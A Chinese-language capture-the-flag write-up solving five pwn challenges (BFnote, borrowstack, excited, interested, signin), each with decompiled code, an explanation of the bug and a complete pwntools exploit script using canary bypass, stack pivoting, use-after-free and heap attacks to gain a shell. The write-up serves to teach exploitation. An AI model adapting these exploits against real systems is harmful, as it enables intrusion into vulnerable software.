2020年i春秋新春战役之 pwn 题解

2-21 – BFnote

这题很秀,我觉得有必要记录下来

简单分析一下程序不难发现程序存在很明显的栈溢出,但是因为开启了canary,得想办法绕过;还有在malloc(size)的时候,size大小不限

不仔细看还发现不了,下方还存在一个下标溢出,v4一开始被初始化后,在循环中只有i被重新赋值,而v4在后面又用到了

这道题就只有这两个漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
sub_80486F7();
fwrite("\nGive your description : ", 1u, 0x19u, stdout);
memset(&s, 0, 0x32u);
my_read(0, &s, 0x600); // 栈溢出
fwrite("Give your postscript : ", 1u, 0x17u, stdout);
memset(&unk_804A060, 0, 0x64u);
my_read(0, &unk_804A060, 0x600);
fwrite("\nGive your notebook size : ", 1u, 0x1Bu, stdout);
size = read_int();
v3 = (char *)malloc(size);
memset(v3, 0, size);
fwrite("Give your title size : ", 1u, 0x17u, stdout);
v4 = read_int();
for ( i = v4; size - 0x20 < i; i = read_int() )// 这里只更新了i,v4并没有变而在后面又用到了v4
fwrite("invalid ! please re-enter :\n", 1u, 0x1Cu, stdout);
fwrite("\nGive your title : ", 1u, 0x13u, stdout);
my_read(0, v3, i);
fwrite("Give your note : ", 1u, 0x11u, stdout);
read(0, &v3[v4 + 0x10], size - v4 - 16); // 这里存在下标溢出
fwrite("\nnow , check your notebook :\n", 1u, 0x1Du, stdout);
fprintf(stdout, "title : %s", v3);
fprintf(stdout, "note : %s", &v3[v4 + 0x10]);
return __readgsdword(0x14u) ^ v6;

思路

对于这个canary的绕过,需要用到TLS,不过需要用到malloc(size)大小不限这个地方

canary 这个值是怎么来的呢,在linux 下,有一种线程局部存储(Thread Local Storage)机制,简称为TLS。它主要存储着一个线程的一些局部变量,它的结构体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct  
{  
  void *tcb;        /* Pointer to the TCB.  Not necessarily the  
               thread descriptor used by libpthread.  */  
  dtv_t *dtv;  
  void *self;       /* Pointer to the thread descriptor.  */  
  int multiple_threads;  
  int gscope_flag;  
  uintptr_t sysinfo;  
  uintptr_t stack_guard;
  uintptr_t pointer_guard;  
  ...  
tcbhead_t;

在汇编中:

1
mov     eax, large gs:14h

而gs寄存器就指向这个结构体,结构体里的stack_guard值就是canary 的值,所以只要能篡改结构体里stack_guard的值就可以绕过canary了

一、需要确定这个结构体在内存中的位置,在gdb中,search -t dword (canary)可以搜索到canary 的地址

二、如何修改这个值,上面提到了malloc(size)中对size的大小没有限制,所以可以malloc一个很大的size,这样系统就会调用mmap来分配内存(size >= 0x20000) ,再结合v4的下标溢出,可以精确地修改canary的值

三、栈溢出后的事,再看一下这个程序中用到的输出函数你会发现,用的都是fwrite,fprintf,这样我们很验证找到合适的gadget来控制参数来link地址,所以最后还是决定用dl-runtime-resolve来执行system(“/bin/sh”)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#-*-coding:utf-8-*-
from pwn import *
# from roputils import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
p = process('./BFnote')
elf = ELF('./BFnote')


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

bss_stage1 = elf.bss() + 0x300
bss_stage2 = 80 + bss_stage1

ppp = 0x080489d9
pop_ebp = 0x080489db
leave_ret = 0x08048578
pay = 'a'*0x3a + p32(0x804A064)
# gdb.attach(p,"b *0x8048965")
sda("description :",pay)

buf = p32(elf.plt['read']) + p32(ppp)
buf += p32(0) + p32(bss_stage1) + p32(100)
buf += p32(pop_ebp) + p32(bss_stage1)
buf += p32(leave_ret)

sla("postscript :",buf)
sla("size :",str(0x20000))
sla("size :",str(0x216fc))
sla("re-enter :\n",str(4))

sda("title :",'a'*4)

sda("note :",'a'*4)
pause()

cmd = '/bin/sh'
plt_0 = 0x8048450
rel_plt = 0x80483d0 #elf.get_section_by_name('.rel.plt').header.sh_addr
index_offset = (bss_stage1+28) - rel_plt
read_got = elf.got['read']
dynsym = 0x80481d8 #objdump -s -j .dynsym bof
dynstr = 0x80482c8 #objdump -s -j .dynstr bof
fake_sym_addr = bss_stage1+36
align = 0x10 -((fake_sym_addr - dynsym) & 0xf)
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 0x10
r_info = (index_dynsym<<8) | 0x7
fack_reloc = p32(read_got) + p32(r_info)
st_name = (fake_sym_addr + 0x10) - dynstr
st_name = (fake_sym_addr + 0x10) - dynstr #加0x10是因为Elf32_Sym的大小为0x10
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload = 'aaaa'
payload += p32(plt_0)
payload += p32(index_offset)
payload += 'aaaa'
payload += p32(bss_stage2)
payload += 'aaaaaaaa'
payload += fack_reloc #(bss_stage1+28)的位置
payload += 'b'*align
payload += fake_sym #(bss_stage1+36)的位置
payload += "system\x00"
payload += 'a'*(80-len(payload))
payload += cmd + '\x00'
payload += 'a'*(100-len(payload))
sl(payload)

p.interactive()

2-22 – borrowstack

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

没有开canary,且溢出0x10字节,只能覆盖rbp和写一条gadget,后面还有往bss段写入数据 ,很明显是栈迁移了,但是我在最后执行system(“/bin/sh”)却一直报错,最后用的onegadget才成功,不过听说迁移两次就可以了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#coding:utf-8
from pwn import *

local = 1
if local:
context.log_level = 'debug'
p = process('./borrowstack')
elf = ELF('./borrowstack')
libc = elf.libc
else:
p = remote("")
# elf = ELF('./')


sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

one = [0x45216,0x4526a,0xf02a4,0xf1147]
pop_rdi = 0x0000000000400703
pop_rsi_r15 = 0x0000000000400701
leave_ret = 0x0000000000400699
bank = 0x601080
main = 0x400656
mov = 0x4006E0
ppp = 0x4006FA
read_got = 0x601028

pay = 0x60*'a' + p64(bank + 0x20) + p64(leave_ret)
# gdb.attach(p,"b *0x40069A")
sda("want\n",pay)
pay = p64(bank + 0x28)*5 + p64(pop_rdi) + p64(0)
pay += p64(pop_rdi) + p64(elf.got['puts'])
pay += p64(elf.plt['puts'])
pay += p64(pop_rdi) + p64(0)
pay += p64(pop_rsi_r15) + p64(0x601100) + p64(0)
pay += p64(elf.plt['read'])

sda("now!\n",pay)
puts_addr = u64(ru('\n').strip('\n').ljust(8,'\x00'))
libc_base = puts_addr - libc.symbols['puts']
onegadget = libc_base + one[1]
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search("/bin/sh\x00").next()
pop_rdx = libc_base + 0x1b92
add_rsp_8 = libc_base + 0x35132
log.info("puts_addr --> %s",hex(puts_addr))

pay = p64(pop_rdi) + p64(binsh)
pay += p64(pop_rsi_r15) + p64(0)*2
pay += p64(pop_rdx) + p64(0)
pay += p64(system)

sl(p64(onegadget))
p.interactive()

2-22 – excited

1
2
3
4
5
6
7
8
9
10
11
if ( v1 < 0 || v1 > 10 || !ptr[v1] )
{
puts("Emmmmmm!Maybe you want Fool me!");
sub_4009C1();
}
free(*(void **)ptr[v1]);
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");

delete功能中存在uaf,而且程序一开始就把flag读进来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 sub_400896()
{
FILE *stream; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
stream = fopen("/flag", "r");
if ( !stream )
{
puts("Emmmmmm!Maybe you want Fool me!");
exit(0);
}
byte_6020A0 = 96;
fgets(s, 45, stream);
return __readfsqword(0x28u) ^ v2;
}

所以只需要构造double free,然后把0x6020a8插进去之后 show 就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#coding:utf-8
from pwn import *

local = 0
if local:
context.log_level = 'debug'
p = process('./excited')
elf = ELF('./excited')
libc = elf.libc
else:
p = remote("123.56.85.29","6484")
# elf = ELF('./')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

one = [0x45216,0x4526a,0xf02a4,0xf1147]

def create(ba_len,ba,na_len,na):
sla("do :",'1')
sla("length : ",str(ba_len))
sda("ba : ",ba)
sla("length : ",str(na_len))
sda("na : ",na)

def delete(idx):
sla("do :",'3')
sla("ID : ",str(idx))

def show(idx):
sla("do :",'4')
sla("ID : ",str(idx))


create(0x28,'0-b',0x28,'0-n') #0
create(0x28,p64(0)*3 + p64(0x31),0x18,'1-n')#1
delete(0)
delete(1)
delete(1)

create(0x28,'2',0x28,'2')
create(0x18,p64(0x6020A8),0x18,p64(0x6020A8))
show(1)
# debug()
p.interactive()

interested

同样的free完没清空指针,但是堆块的大小被限定在fastbin范围

思路,先通过UAF link堆地址,再伪造堆的大小,free后进入unsotredbin link出main_arena,最后UAF到malloc_hook-0x23覆写malloc_hook为onegadget

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#coding:utf-8
from pwn import *

local = 1
if local:
context.log_level = 'debug'
p = process('./interested')
elf = ELF('./interested')
libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202050)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

one = [0x45216,0x4526a,0xf02a4,0xf1147]
def check_code():
sla("to do :",'0') #这里有格式化字符串漏洞 ,然而并用不着

def create(Olen,O,RElen,RE):
sla("to do :",'1')
sla("length : ",str(Olen))
sda("O : ",O)
sla("length : ",str(RElen))
sda("RE : ",RE)

def edit(idx,O,RE):
sla("to do :",'2')
sla("ID : ",str(idx))
sda("O : ",O)
sda("RE : ",RE)

def delete(idx):
sla("to do :",'3')
sla("ID : ",str(idx))

def show(idx):
sla("to do :",'4')
sla("ID : ",str(idx))

sla("please:","OreOOrereOOreO")

create(0x68,p64(0) + p64(0x71) ,0x68,p64(0) + p64(0x61))
create(0x68,'b',0x68,'b')
delete(2)
show(2)
ru("RE is ")
heap = u64(ru('\n').strip('\n').ljust(8,'\x00')) - 0xe0
log.info("heap --> %s",hex(heap))

edit(2,p64(0),p64(heap + 0x10))
create(0x68,'c',0x68,'c') #3
edit(1,p64(0) + p64(0xd1),p64(0))
delete(3)
show(3)
ru("RE is ")
main_arena = u64(ru('\n').strip('\n').ljust(8,'\x00')) - 88
malloc_hook = main_arena - 0x10
fack_chunk = malloc_hook - 0x23
libc_base = malloc_hook - libc.symbols['__malloc_hook']
onegadget = libc_base + one[3]

log.info("main_arena --> %s",hex(main_arena))
delete(2)
create(0x68,p64(fack_chunk),0x68,'d')
create(0x68,'e',0x68,'e'*0x13 + p64(onegadget))

sla("to do :",'1')
sla("length : ",str(32))
# debug()

p.interactive()

2-23 – signin

glibc 版本2.29,add,del,edit三个功能,还有一个backdoor

add : addcnt = 7,所以可以申请8个大小的0x80的堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 add()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
__int64 s; // [rsp+10h] [rbp-20h]
__int64 v3; // [rsp+18h] [rbp-18h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("idx?");
s = 0LL;
v3 = 0LL;
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi((const char *)&s);
if ( addcnt >= 0 && v1 <= 0xF )
{
ptrlist[v1] = malloc(0x70uLL);
flags[v1] = 1;
--addcnt;
}
return __readfsqword(0x28u) ^ v4;
}

del,free后指针未清空,UAF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 del()
{
unsigned int v1; // [rsp+Ch] [rbp-24h]
__int64 s; // [rsp+10h] [rbp-20h]
__int64 v3; // [rsp+18h] [rbp-18h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("idx?");
s = 0LL;
v3 = 0LL;
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v1 = atoi((const char *)&s);
if ( v1 <= 0xF && flags[v1] == 1 )
{
free(ptrlist[v1]);
flags[v1] = 0;
}
return __readfsqword(0x28u) ^ v4;
}

edit : cnt=0,所以该功能只能用一次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 edit()
{
unsigned int v0; // ST0C_4
__int64 s; // [rsp+10h] [rbp-20h]
__int64 v3; // [rsp+18h] [rbp-18h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( cnt >= 0 )
{
puts("idx?");
s = 0LL;
v3 = 0LL;
memset(&s, 0, 0x10uLL);
read(0, &s, 0xFuLL);
v0 = atoi((const char *)&s);
read(0, ptrlist[v0], 0x50uLL);
--cnt;
}
return __readfsqword(0x28u) ^ v4;
}

backdoor : 在判断ptr前调用了calloc(1,0x70),这是关键

1
2
3
4
5
6
7
void __noreturn backdoor()
{
calloc(1uLL, 0x70uLL);
if ( ptr )
system("/bin/sh");
exit(0);
}

先明确几个问题,calloc虽然跟malloc相似,但是它是不会使用tecache bin 的,所以应该考虑fastbin attack,而且

_int_malloc中,从fastbin bin取下一块后,如果fastbin还有剩余,而且对应的teache 没满的话,就把它放到对应大小的teache

所以如果伪造了fastbin bin,我们就可以往chunk+0x18处写入teache

这时候把teache的一块申请出来再调用calloc,就满足fastbin还剩余,teache未满,调用teache_put

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#coding:utf-8
from pwn import *

local = 1
if local:
context.log_level = 'debug'
p = process('./signin')
# elf = ELF('./')
# libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

def add(idx):
sla("choice?",'1')
sla("idx?\n",str(idx))

def edit(idx,message):
sla("choice?",'2')
sla("idx?\n",str(idx))
sleep(0.1)
pause()
sd(message)

def delete(idx):
sla("choice?",'3')
sla("idx?\n",str(idx))

def backdoor():
sla("choice?",'6')

for i in range(8):
add(i)

for i in range(8):
delete(i)

# gdb.attach(p,"b *0x40136E")
edit(7,p64(0x4040C0-0x18))
add(1)
gdb.attach(p,"b *0x40148F")
backdoor()
# debug()

p.interactive()
0%